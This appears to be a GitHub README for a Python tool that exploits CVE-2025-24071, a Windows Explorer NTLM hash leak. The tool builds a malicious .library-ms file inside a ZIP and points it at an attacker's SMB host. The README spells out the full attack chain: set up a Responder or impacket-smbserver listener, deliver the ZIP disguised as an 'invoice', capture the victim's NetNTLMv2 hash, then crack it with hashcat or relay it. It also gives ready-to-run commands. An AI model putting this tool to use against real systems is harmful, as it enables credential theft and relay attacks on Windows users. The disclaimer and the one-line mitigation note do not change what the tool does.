
Dependency-free Python PoC generator for CVE-2025-24071 that crafts a malicious .library-ms file in a ZIP to trigger Windows Explorer NTLM hash disclosure.
⚠️ Disclaimer: This tool is intended for educational purposes and authorized penetration testing only. Use it only against systems you own or have explicit written permission to test. Unauthorized use is illegal.
Windows File Explorer automatically parses certain file types as soon as they appear in a folder view, without any user interaction such as double-clicking. Affected versions fail to properly validate .library-ms files, which can define a search connector pointing to an arbitrary remote SMB path.
When Explorer renders a folder containing a malicious .library-ms file (e.g. right after extracting a ZIP/RAR archive), it silently attempts to connect to the attacker-controlled UNC path to resolve the "library" location. This SMB connection attempt carries the victim's NetNTLMv2 hash, which an attacker capturing traffic on the specified host (e.g. with impacket-smbserver or Responder) can then try to crack offline or relay.
This repository contains a minimal, dependency-free rewrite of a public PoC generator for this vulnerability: it builds the malicious .library-ms file and packages it into a ZIP, using only the Python standard library.
A .library-ms file is an XML document that tells Windows Explorer to display the contents of a remote or local location as a "library". Its <simpleLocation><url> element can point to a UNC path (\\<host>\<share>).
In affected versions, Explorer resolves this location as soon as the folder is displayed — no double-click or explicit action is required beyond having the file visible in a folder view (for example, right after extracting an archive that contains it).
impacket-smbserver, Responder, etc.)..library-ms file is generated, pointing to \\<attacker_ip>\<share>.1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\<attacker_ip>\<share>
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it
os, sys, argparse, zipfile)No third-party dependencies are needed to generate the payload. Capturing the hash requires an SMB listener such as Impacket (impacket-smbserver) or Responder on the attacker side.
git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071
usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]
options:
-n NAME, --name NAME Output base filename (no extension)
-i IP, --ip IP Attacker IP to embed as the UNC path target
-s SHARE, --share SHARE Share name (default: shared)
-o OUTDIR, --outdir OUTDIR Output directory (default: current dir)
-a, --affected-versions Print the list of affected Windows versions and exit
python3 cve_2025_24071.py -n invoice -i 10.10.14.5
This produces invoice.zip, containing invoice.library-ms pointing to \\10.10.14.5\shared.
impacket-smbserver shared /tmp/smbshare -smb2support
python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads
python3 cve_2025_24071.py -a
.library-ms and similar auto-parsed file types before they reach end-user workstations..library-ms generator, no new exploitation technique| Field | Value |
|---|
| CVE | CVE-2025-24071 |
| Affected | Windows 10 (1607–22H2), Windows 11 (22H2–24H2), Windows Server 2012 R2 – 2025 |
| Type | Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) |
| Privileges | None (unauthenticated attacker; requires victim to view/extract the file) |
| Impact | NetNTLMv2 hash disclosure → offline cracking or NTLM relay |
| CVSS | 7.5 High (per GitHub Advisory Database) / 6.5 (MSRC base) |
| Patch | March 2025 Patch Tuesday cumulative updates |